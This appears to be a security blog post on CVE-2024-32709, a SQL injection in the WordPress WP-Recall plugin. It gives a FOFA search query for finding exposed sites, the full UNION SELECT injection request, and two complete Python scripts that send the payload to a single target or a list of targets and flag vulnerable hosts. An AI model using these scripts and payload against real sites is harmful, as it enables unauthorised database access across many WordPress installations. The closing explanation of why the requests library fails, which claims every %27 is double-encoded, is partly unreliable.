Vulnerability Overview
CVE-2024-32709 identifies a critical SQL Injection vulnerability in the WordPress WP-Recall plugin (versions <= 16.26.5). Unauthenticated attackers can exploit the group-name parameter within the account management endpoint to extract sensitive database records. The FOFA search query for identifying vulnerable deployments is "/wp-content/plugins/wp-recall/".
Payload Delivery Discrepancy
When constructing a Proof of Concept (PoC), sending the exploit payload via network tools like Yakit or Python's urllib successfully triggers the injection, returning the evaluated MD5 hash of "123456" (e10adc3949ba59abbe56e057f20f883e). However, replicating the exact same HTTP request using Python's requests library fails to produce the expected database output.
The Malicious Request
GET /account/?user=1&tab=groups&group-name=p%27+or+%27%%27=%27%%27+union+all+select+1,2,3,4,5,6,7,8,9,10,11,concat(%22Database:%22,md5(123456),0x7c),13--+- HTTP/1.1
Host: target.com
Comparative Python Implementations
The divergence in behavior stems from how different HTTP libraries handle URL encoding and pre-encoded strings.
Implementation with urllib
The urllib library respects the provided URL string without aggressively re-encoding the percent signs, allowing the SQL syntax to reach the server intact.
import urllib.request
import ssl
import argparse
ssl._create_default_https_context = ssl._create_unverified_context
def scan_host(base_host):
endpoint = base_host.rstrip("/")
exploit_path = "/account/?user=1&tab=groups&group-name=p%27+or+%27%%27=%27%%27+union+all+select+1,2,3,4,5,6,7,8,9,10,11,concat(%22Database:%22,md5(123456),0x7c),13--+-"
target_uri = endpoint + exploit_path
custom_headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
}
try:
req = urllib.request.Request(target_uri, headers=custom_headers, method="GET")
with urllib.request.urlopen(req, timeout=15) as resp:
body = resp.read().decode("utf-8", errors="ignore")
if resp.getcode() == 200 and "e10adc3949ba59abbe56e057f20f883e" in body:
print(f"[!] VULNERABLE: {base_host}")
else:
print(f"[-] Safe: {base_host}")
except Exception as err:
print(f"[x] Error on {base_host}: {err}")
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="Single target URL")
parser.add_argument("-l", "--list", help="File containing target URLs")
args = parser.parse_args()
if args.target:
scan_host(args.target)
elif args.list:
with open(args.list, "r") as f:
for line in f.readlines():
scan_host(line.strip())
Implementation with requests (Buggy)
By default, the requests library applies its own URL encoding logic. If you pass a pre-encoded URL string containing %27, requests escapes the percent sign again, converting %27 into %2527. This double-encoding breaks the SQL injection payload, causing the server to treat it as a literal string rather than executable SQL commands.
import requests
import argparse
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
def check_vuln(host):
base = host.rstrip("/")
malicious_url = base + "/account/?user=1&tab=groups&group-name=p%27+or+%27%%27=%27%%27+union+all+select+1,2,3,4,5,6,7,8,9,10,11,concat(%22Database:%22,md5(123456),0x7c),13--+-"
custom_headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
}
try:
res = requests.get(malicious_url, headers=custom_headers, verify=False, timeout=10)
if res.status_code == 200 and "e10adc3949ba59abbe56e057f20f883e" in res.text:
print(f"[!] VULNERABLE: {host}")
else:
print(f"[-] Safe: {host}")
except requests.RequestException as e:
print(f"[x] Request failed for {host}: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="Single target URL")
parser.add_argument("-l", "--list", help="File containing target URLs")
args = parser.parse_args()
if args.target:
check_vuln(args.target)
elif args.list:
with open(args.list, "r") as f:
for line in f.readlines():
check_vuln(line.strip())
Root Cause Analysis
The primary distinction lies in URL normalization. The requests library utilizes urllib3, which actively re-quotes URLs to ensure they are well-formed. When it encounters the already-encoded SQL payload (%27), it assumes the % is a literal character and encodes it to %25, resulting in %2527 being sent to the server. The server then decodes %2527 back to %27 instead of the required single quote ', neutralizing the injection.
Conversely, urllib.request does not re-encode the query string if it is already embedded within the full URL path. It transmits the raw string exactly as defined, meaning %27 reaches the server and is decoded into a single quote, successfully closing the SQL query and appending the union select statement.
Mitigating Double-Encoding in requests
To force requests to send the raw, pre-encoded URL, you must construct a PreparedRequest and bypass the internal URL quoting mechanism, or utilize the requote_uri parameter if available, or more simply, use a lower-level HTTP adapter configuration. Alternatively, leveraging urllib for exploit scripts requiring precise payload delivery avoids this encoding pitfall entirely.